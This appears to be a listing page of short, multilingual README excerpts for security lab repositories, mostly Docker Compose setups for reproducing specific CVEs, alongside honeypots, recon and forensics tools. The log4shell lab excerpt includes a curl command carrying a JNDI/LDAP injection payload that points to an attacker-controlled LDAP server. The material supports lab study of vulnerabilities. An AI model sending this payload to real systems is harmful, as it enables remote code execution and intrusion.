ehir-vuln-enterprise-login

Configurazione locale del portale aziendale Enterprise Questo progetto contiene una configurazione containerizzata locale con un portale frontend e un gateway backend integrato. Struttura del Workspace client/: Contiene i file statici del frontend index.html basati su Bootstrap 5 e il gestore del...

CVE-2019-19356

CVE-2019-19356 cd CVE-2019-19356 docker-compose up -d...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test Test 1. LDAP-Server und Download-Server für Schadcode-Dateien 1.1 Docker-compose ausführen docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD:...

CVE-2021-43798

Avviare il lab docker compose up -d Poc: python3 CVE-2021-43798.py IP PORT Di: https://www.linkedin.com/in/steven-guimaraes-29aa79212/...

CVE-2024-49368

Configurazione Exploit Nginx UI Questa guida descrive i passaggi per configurare Nginx UI usando Docker Compose, creare un utente, eseguire un exploit e verificare i risultati all'interno del contenitore Docker. Prerequisiti Assicurati di avere Docker e Docker Compose installati sulla tua macchin...

ensimag-secu3a-cve-2024-22416

CVE-2024-22416 Reference report: GHSA-pgpj-v85q-h5fm Questo repository contiene una configurazione docker compose che configura sia un server pyLoad sia un server attaccante che fornisce semplicemente un csrf.html. Per testare tu stesso, esegui docker composer up devi avere docker composer...

dns-honeypot

Le mie prime 24 ore con un honeypot DNS Da ingegnere che passa gran parte delle sue giornate immerso negli strumenti di osservabilità, ogni tanto mi viene un'idea che devo assolutamente mettere in pratica. Questo è stato uno di quegli esperimenti: avviare un resolver DNS su un IP pulito che nessu...

Reconator

Reconator ist ein automatisiertes Aufklärungs-Framework. Füge ein Ziel hinzu – einzeln oder in Stapeln – und der Worker führt ca. 17 Recon-Module dagegen aus Subdomain-Enumeration, Dirbrute, JS/Link-Mining, WAF-Fingerprint, Takeover-Prüfung, GF-Triage u.v.m.. Das Dashboard zeigt die Ausgabe jedes...

log4shell_lab

Laboratorio di exploit log4shell Questo repository è una configurazione a riga singola per il laboratorio di exploit log4shell. Configura il laboratorio: docker-compose up -d Esegui l'exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Poi vai al...

CVE-2022-39275

CVE-2022-39275 POC per CVE-2022-39275. Risorse per l'advisory: NIST NVD CVE.org Github Security Advisory Questo è un fork del commit hash: 47f9f5fb29be2b5892c79ace4f23022f397a0a5e link, semplicemente ripushato perché c'erano anche dei git submodule che dovevano essere modificati. Setup del POC...

CVE-2026-20896

Lab CVE-2026-20896 Questo repository fornisce un piccolo laboratorio autonomo per esplorare il problema CVE-2026-20896 in un ambiente controllato e autorizzato. Panoramica Il laboratorio include: poc.py: il mio script proof-of-concept personalizzato che dimostra il problema ed esporta file di...

Cisco-FMC-honeypot

FMC-Trap Un honeypot a bassa interazione che simula la superficie web di un Cisco Secure Firewall Management Center FMC e cattura traffico di attacco non autenticato di tipo serializzazione Java sonde di deserializzazione non sicura stile CVE. Sicuro per progettazione: l'applicazione non...

CVE-2018-19131

CVE-2018-19131 Demonstration Autor: Jonathan M. Wilbur Urheberrechtsjahr: 2018 Lizenz: MIT-Lizenz Führen Sie damit nichts Illegales durch. Dies ist keine Malware. Dies ist nur ein Proof-of-Concept. Dies ist eine Demonstration von CVE-2018-19131, die in einer Docker-Compose-Anwendung läuft. Diese...

wirehole

Was ist das? WireHole ist ein docker-compose-Projekt, das WireGuard, PiHole und Unbound kombiniert, um ein Voll- oder Split-Tunnel-VPN zu erstellen, das einfach bereitzustellen und zu verwalten ist. Dieses Setup ermöglicht ein VPN mit Werbeblockierung über PiHole und verbesserter DNS-Privatsphäre...

AutoSploit

Docker deployment instructions tl;dr Using docker-compose: root@kitploit: git clone https://github.com/NullArray/AutoSploit.git cd Autosploit/Docker docker-compose run --rm autosploit Using just Docker: root@kitploit: git clone https://github.com/NullArray/AutoSploit.git cd Autosploit/Docker If y...

FACT

Ferramenta de Coleta de Artefatos Forenses Visão Geral FACT é uma ferramenta para coletar, processar e visualizar dados forenses de clusters de máquinas executando na nuvem ou on-premise. Implantação Para uma implantação básica de um único nó, recomendamos usar Docker e Docker Compose. Primeiro,...

pentest_lab

Laboratório de Pentest Não estou mais desenvolvendo ativamente isso, mas vou corrigir bugs e analisar issues e pull requests. Ajuda é apreciada : Este laboratório local de pentest utiliza docker compose para levantar vários serviços vítimas e um serviço atacante rodando Kali Linux. Se você execut...

DSP

DockerSecurityPlayground Docker Security Playground è un'applicazione che ti permette di: Creare scenari di rete e di sicurezza di rete , per comprendere protocolli di rete, regole e problemi di sicurezza installando DSP sul tuo PC. Imparare tecniche di penetration testing simulando scenari di...

iris-web

Sistema di Investigazione per la Risposta agli Incidenti Versione corrente v2.4.20 Dimostrazione Online IRIS Iris è una piattaforma web collaborativa che mira ad aiutare i responder agli incidenti a condividere dettagli tecnici durante le investigazioni. Indice Iniziare Eseguire IrisWeb...

CVE-2025-34159

CVE-2025-34159 : Injection Docker Compose dans Coolify Aperçu de la vulnérabilité Champ| Valeur ---|--- Identifiant CVE| CVE-2025-34159 Affecte| Coolify ≤ v4.0.0-beta.420.6 Corrigé dans| v4.0.0-beta.420.7 Sévérité| Critique CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H...